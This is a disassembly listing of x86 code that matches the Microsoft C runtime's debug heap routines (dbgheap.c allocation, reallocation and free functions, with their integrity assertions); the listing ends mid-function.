; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+8]
push eax
call sub_41BF80
add esp, 10h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BF80 proc near ; CODE XREF: sub_41BEC0+44p
; _0:0041BF6Dp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_C], 0
mov eax, ds:dword_4517E0
and eax, 4
test eax, eax
jz short loc_41BFCC
loc_41BF9C: ; CODE XREF: sub_41BF80+4Aj
call sub_41D1D0
test eax, eax
jnz short loc_41BFC6
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 14Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41BFC6
int 3 ; Trap to Debugger
loc_41BFC6: ; CODE XREF: sub_41BF80+23j
; sub_41BF80+43j
xor ecx, ecx
test ecx, ecx
jnz short loc_41BF9C
loc_41BFCC: ; CODE XREF: sub_41BF80+1Aj
mov edx, ds:dword_4517E4
mov [ebp+var_8], edx
mov eax, [ebp+var_8]
cmp eax, ds:dword_4517E8
jnz short loc_41BFE1
int 3 ; Trap to Debugger
loc_41BFE1: ; CODE XREF: sub_41BF80+5Ej
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
push 0
push 1
call ds:off_451BB0
add esp, 1Ch
test eax, eax
jnz short loc_41C064
cmp [ebp+arg_8], 0
jz short loc_41C037
loc_41C00C: ; CODE XREF: sub_41BF80+B3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push offset aClientHookAllo ; "Client hook allocation failure at file "...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 1Ch
cmp eax, 1
jnz short loc_41C02F
int 3 ; Trap to Debugger
loc_41C02F: ; CODE XREF: sub_41BF80+ACj
xor edx, edx
test edx, edx
jnz short loc_41C00C
jmp short loc_41C05D
; ---------------------------------------------------------------------------
loc_41C037: ; CODE XREF: sub_41BF80+8Aj
; sub_41BF80+DBj
push offset aClientHookAl_0 ; "Client hook allocation failure.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C057
int 3 ; Trap to Debugger
loc_41C057: ; CODE XREF: sub_41BF80+D4j
xor eax, eax
test eax, eax
jnz short loc_41C037
loc_41C05D: ; CODE XREF: sub_41BF80+B5j
xor eax, eax
jmp loc_41C28C
; ---------------------------------------------------------------------------
loc_41C064: ; CODE XREF: sub_41BF80+84j
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41C086
mov edx, ds:dword_4517E0
and edx, 1
test edx, edx
jnz short loc_41C086
mov [ebp+var_C], 1
loc_41C086: ; CODE XREF: sub_41BF80+F0j
; sub_41BF80+FDj
cmp [ebp+arg_0], 0FFFFFFE0h
ja short loc_41C097
mov eax, [ebp+arg_0]
add eax, 24h
cmp eax, 0FFFFFFE0h
jbe short loc_41C0C3
loc_41C097: ; CODE XREF: sub_41BF80+10Aj
; sub_41BF80+13Aj
mov ecx, [ebp+arg_0]
push ecx
push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C0B6
int 3 ; Trap to Debugger
loc_41C0B6: ; CODE XREF: sub_41BF80+133j
xor edx, edx
test edx, edx
jnz short loc_41C097
xor eax, eax
jmp loc_41C28C
; ---------------------------------------------------------------------------
loc_41C0C3: ; CODE XREF: sub_41BF80+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41C110
cmp [ebp+arg_4], 1
jz short loc_41C110
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41C110
cmp [ebp+arg_4], 3
jz short loc_41C110
loc_41C0EA: ; CODE XREF: sub_41BF80+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 1
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C10A
int 3 ; Trap to Debugger
loc_41C10A: ; CODE XREF: sub_41BF80+187j
xor edx, edx
test edx, edx
jnz short loc_41C0EA
loc_41C110: ; CODE XREF: sub_41BF80+14Ej
; sub_41BF80+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_4234C0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41C135
xor eax, eax
jmp loc_41C28C
; ---------------------------------------------------------------------------
loc_41C135: ; CODE XREF: sub_41BF80+1ACj
mov edx, ds:dword_4517E4
add edx, 1
mov ds:dword_4517E4, edx
cmp [ebp+var_C], 0
jz short loc_41C193
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_41C233
; ---------------------------------------------------------------------------
loc_41C193: ; CODE XREF: sub_41BF80+1C8j
mov edx, ds:dword_4F32E4
add edx, [ebp+arg_0]
mov ds:dword_4F32E4, edx
mov eax, ds:dword_4F32EC
add eax, [ebp+arg_0]
mov ds:dword_4F32EC, eax
mov ecx, ds:dword_4F32EC
cmp ecx, ds:dword_4F32F0
jbe short loc_41C1C9
mov edx, ds:dword_4F32EC
mov ds:dword_4F32F0, edx
loc_41C1C9: ; CODE XREF: sub_41BF80+23Bj
cmp ds:dword_4F32E8, 0
jz short loc_41C1DF
mov eax, ds:dword_4F32E8
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_41C1E8
; ---------------------------------------------------------------------------
loc_41C1DF: ; CODE XREF: sub_41BF80+250j
mov edx, [ebp+var_4]
mov ds:dword_4F32E0, edx
loc_41C1E8: ; CODE XREF: sub_41BF80+25Dj
mov eax, [ebp+var_4]
mov ecx, ds:dword_4F32E8
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov ds:dword_4F32E8, ecx
loc_41C233: ; CODE XREF: sub_41BF80+20Ej
push 4
xor edx, edx
mov dl, ds:byte_4517EC
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_41E4B0
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, ds:byte_4517EC
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_41E4B0
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, ds:byte_4517EE
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_41E4B0
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_41C28C: ; CODE XREF: sub_41BF80+DFj
; sub_41BF80+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41BF80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_41C2D0
add esp, 14h
mov [ebp-4], eax
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C2D0 proc near ; CODE XREF: _0:0041C2B2p
; sub_4222D0+40p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41C329
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_41C310: ; CODE XREF: sub_41C2D0+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_41C329
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_41C310
; ---------------------------------------------------------------------------
loc_41C329: ; CODE XREF: sub_41C2D0+2Fj
; sub_41C2D0+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41C2D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C330 proc near ; CODE XREF: sub_4010AA+2Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41C360
add esp, 14h
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41C330 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C360 proc near ; CODE XREF: sub_41C330+12p
; sub_420C50+50p ...
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 0041C3CE SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C630
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41C3F0
add esp, 18h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C3C3
jmp short loc_41C3CE
sub_41C360 endp
; =============== S U B R O U T I N E =======================================
sub_41C3C3 proc near ; CODE XREF: sub_41C360+5Cp
push 9
call sub_423320
add esp, 4
retn
sub_41C3C3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C360
loc_41C3CE: ; CODE XREF: sub_41C360+61j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C360
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C3F0 proc near ; CODE XREF: sub_41C360+4Ap
; sub_41C940+4Ap
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_41C423
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41BE70
add esp, 10h
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C423: ; CODE XREF: sub_41C3F0+14j
cmp [ebp+arg_14], 0
jz short loc_41C446
cmp [ebp+arg_4], 0
jnz short loc_41C446
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41CA10
add esp, 8
xor eax, eax
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C446: ; CODE XREF: sub_41C3F0+37j
; sub_41C3F0+3Dj
mov eax, ds:dword_4517E0
and eax, 4
test eax, eax
jz short loc_41C482
loc_41C452: ; CODE XREF: sub_41C3F0+90j
call sub_41D1D0
test eax, eax
jnz short loc_41C47C
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 246h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C47C
int 3 ; Trap to Debugger
loc_41C47C: ; CODE XREF: sub_41C3F0+69j
; sub_41C3F0+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C452
loc_41C482: ; CODE XREF: sub_41C3F0+60j
mov edx, ds:dword_4517E4
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, ds:dword_4517E8
jnz short loc_41C497
int 3 ; Trap to Debugger
loc_41C497: ; CODE XREF: sub_41C3F0+A4j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call ds:off_451BB0
add esp, 1Ch
test eax, eax
jnz short loc_41C51C
cmp [ebp+arg_C], 0
jz short loc_41C4EF
loc_41C4C4: ; CODE XREF: sub_41C3F0+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 1Ch
cmp eax, 1
jnz short loc_41C4E7
int 3 ; Trap to Debugger
loc_41C4E7: ; CODE XREF: sub_41C3F0+F4j
xor eax, eax
test eax, eax
jnz short loc_41C4C4
jmp short loc_41C515
; ---------------------------------------------------------------------------
loc_41C4EF: ; CODE XREF: sub_41C3F0+D2j
; sub_41C3F0+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C50F
int 3 ; Trap to Debugger
loc_41C50F: ; CODE XREF: sub_41C3F0+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41C4EF
loc_41C515: ; CODE XREF: sub_41C3F0+FDj
xor eax, eax
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C51C: ; CODE XREF: sub_41C3F0+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_41C54E
loc_41C522: ; CODE XREF: sub_41C3F0+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C541
int 3 ; Trap to Debugger
loc_41C541: ; CODE XREF: sub_41C3F0+14Ej
xor eax, eax
test eax, eax
jnz short loc_41C522
xor eax, eax
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C54E: ; CODE XREF: sub_41C3F0+130j
cmp [ebp+arg_8], 1
jz short loc_41C596
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41C596
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_41C596
loc_41C570: ; CODE XREF: sub_41C3F0+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 1
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41C590
int 3 ; Trap to Debugger
loc_41C590: ; CODE XREF: sub_41C3F0+19Dj
xor eax, eax
test eax, eax
jnz short loc_41C570
loc_41C596: ; CODE XREF: sub_41C3F0+162j
; sub_41C3F0+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_41D6B0
add esp, 4
test eax, eax
jnz short loc_41C5C7
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 26Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C5C7
int 3 ; Trap to Debugger
loc_41C5C7: ; CODE XREF: sub_41C3F0+1B4j
; sub_41C3F0+1D4j
xor edx, edx
test edx, edx
jnz short loc_41C596
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_41C5E6
mov [ebp+var_14], 1
loc_41C5E6: ; CODE XREF: sub_41C3F0+1EDj
cmp [ebp+var_14], 0
jz short loc_41C62A
loc_41C5EC: ; CODE XREF: sub_41C3F0+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_41C601
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_41C622
loc_41C601: ; CODE XREF: sub_41C3F0+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 278h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C622
int 3 ; Trap to Debugger
loc_41C622: ; CODE XREF: sub_41C3F0+20Fj
; sub_41C3F0+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_41C5EC
jmp short loc_41C68E
; ---------------------------------------------------------------------------
loc_41C62A: ; CODE XREF: sub_41C3F0+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41C64F
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_41C64F
mov [ebp+arg_8], 2
loc_41C64F: ; CODE XREF: sub_41C3F0+248j
; sub_41C3F0+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_41C688
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 27Fh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C688
int 3 ; Trap to Debugger
loc_41C688: ; CODE XREF: sub_41C3F0+275j
; sub_41C3F0+295j
xor edx, edx
test edx, edx
jnz short loc_41C64F
loc_41C68E: ; CODE XREF: sub_41C3F0+238j
cmp [ebp+arg_14], 0
jz short loc_41C6B9
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_423830
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41C6B7
xor eax, eax
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C6B7: ; CODE XREF: sub_41C3F0+2BEj
jmp short loc_41C6DC
; ---------------------------------------------------------------------------
loc_41C6B9: ; CODE XREF: sub_41C3F0+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_423620
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_41C6DC
xor eax, eax
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C6DC: ; CODE XREF: sub_41C3F0:loc_41C6B7j
; sub_41C3F0+2E3j
mov ecx, ds:dword_4517E4
add ecx, 1
mov ds:dword_4517E4, ecx
cmp [ebp+var_14], 0
jnz short loc_41C747
mov edx, [ebp+var_C]
mov eax, ds:dword_4F32E4
sub eax, [edx+10h]
mov ds:dword_4F32E4, eax
mov ecx, ds:dword_4F32E4
add ecx, [ebp+arg_4]
mov ds:dword_4F32E4, ecx
mov edx, [ebp+var_C]
mov eax, ds:dword_4F32EC
sub eax, [edx+10h]
mov ds:dword_4F32EC, eax
mov ecx, ds:dword_4F32EC
add ecx, [ebp+arg_4]
mov ds:dword_4F32EC, ecx
mov edx, ds:dword_4F32EC
cmp edx, ds:dword_4F32F0
jbe short loc_41C747
mov eax, ds:dword_4F32EC
mov ds:dword_4F32F0, eax
loc_41C747: ; CODE XREF: sub_41C3F0+2FFj
; sub_41C3F0+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_41C77F
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, ds:byte_4517EE
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_41E4B0
add esp, 0Ch
loc_41C77F: ; CODE XREF: sub_41C3F0+369j
push 4
xor eax, eax
mov al, ds:byte_4517EC
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_41E4B0
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_41C7B9
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_41C7B9: ; CODE XREF: sub_41C3F0+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_41C7C2: ; CODE XREF: sub_41C3F0+40Bj
cmp [ebp+arg_14], 0
jnz short loc_41C7F7
cmp [ebp+arg_14], 0
jnz short loc_41C7D6
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_41C7F7
loc_41C7D6: ; CODE XREF: sub_41C3F0+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2B5h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C7F7
int 3 ; Trap to Debugger
loc_41C7F7: ; CODE XREF: sub_41C3F0+3D6j
; sub_41C3F0+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_41C7C2
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_41C80B
cmp [ebp+var_14], 0
jz short loc_41C813
loc_41C80B: ; CODE XREF: sub_41C3F0+413j
mov eax, [ebp+var_4]
jmp loc_41C8FA
; ---------------------------------------------------------------------------
loc_41C813: ; CODE XREF: sub_41C3F0+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_41C82B
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_41C867
; ---------------------------------------------------------------------------
loc_41C82B: ; CODE XREF: sub_41C3F0+429j
; sub_41C3F0+46Aj
mov eax, ds:dword_4F32E0
cmp eax, [ebp+var_8]
jz short loc_41C856
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2C4h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C856
int 3 ; Trap to Debugger
loc_41C856: ; CODE XREF: sub_41C3F0+443j
; sub_41C3F0+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C82B
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ds:dword_4F32E0, eax
loc_41C867: ; CODE XREF: sub_41C3F0+439j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_41C87F
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_41C8BA
; ---------------------------------------------------------------------------
loc_41C87F: ; CODE XREF: sub_41C3F0+47Ej
; sub_41C3F0+4BEj
mov eax, ds:dword_4F32E8
cmp eax, [ebp+var_8]
jz short loc_41C8AA
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2CFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41C8AA
int 3 ; Trap to Debugger
loc_41C8AA: ; CODE XREF: sub_41C3F0+497j
; sub_41C3F0+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C87F
mov edx, [ebp+var_C]
mov eax, [edx]
mov ds:dword_4F32E8, eax
loc_41C8BA: ; CODE XREF: sub_41C3F0+48Dj
cmp ds:dword_4F32E8, 0
jz short loc_41C8D1
mov ecx, ds:dword_4F32E8
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_41C8D9
; ---------------------------------------------------------------------------
loc_41C8D1: ; CODE XREF: sub_41C3F0+4D1j
mov eax, [ebp+var_C]
mov ds:dword_4F32E0, eax
loc_41C8D9: ; CODE XREF: sub_41C3F0+4DFj
mov ecx, [ebp+var_C]
mov edx, ds:dword_4F32E8
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov ds:dword_4F32E8, ecx
mov eax, [ebp+var_4]
loc_41C8FA: ; CODE XREF: sub_41C3F0+2Ej
; sub_41C3F0+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C3F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_41C940
add esp, 14h
mov [ebp-4], eax
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C940 proc near ; CODE XREF: _0:0041C922p
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
; FUNCTION CHUNK AT 0041C9AE SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C7E0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41C3F0
add esp, 18h
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41C9A3
jmp short loc_41C9AE
sub_41C940 endp
; =============== S U B R O U T I N E =======================================
sub_41C9A3 proc near ; CODE XREF: sub_41C940+5Cp
; DATA XREF: _1:0043C7E8o
push 9
call sub_423320
add esp, 4
retn
sub_41C9A3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C940
loc_41C9AE: ; CODE XREF: sub_41C940+61j
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41C940
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9D0 proc near ; CODE XREF: sub_4010AA+5Cp
; sub_40ADC9+B7p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_41CA10
add esp, 8
pop ebp
retn
sub_41C9D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41CA80
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA10 proc near ; CODE XREF: sub_41BD80+98p
; sub_41C3F0+47p ...
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041CA6D SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C7F0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
push 9
call sub_423280
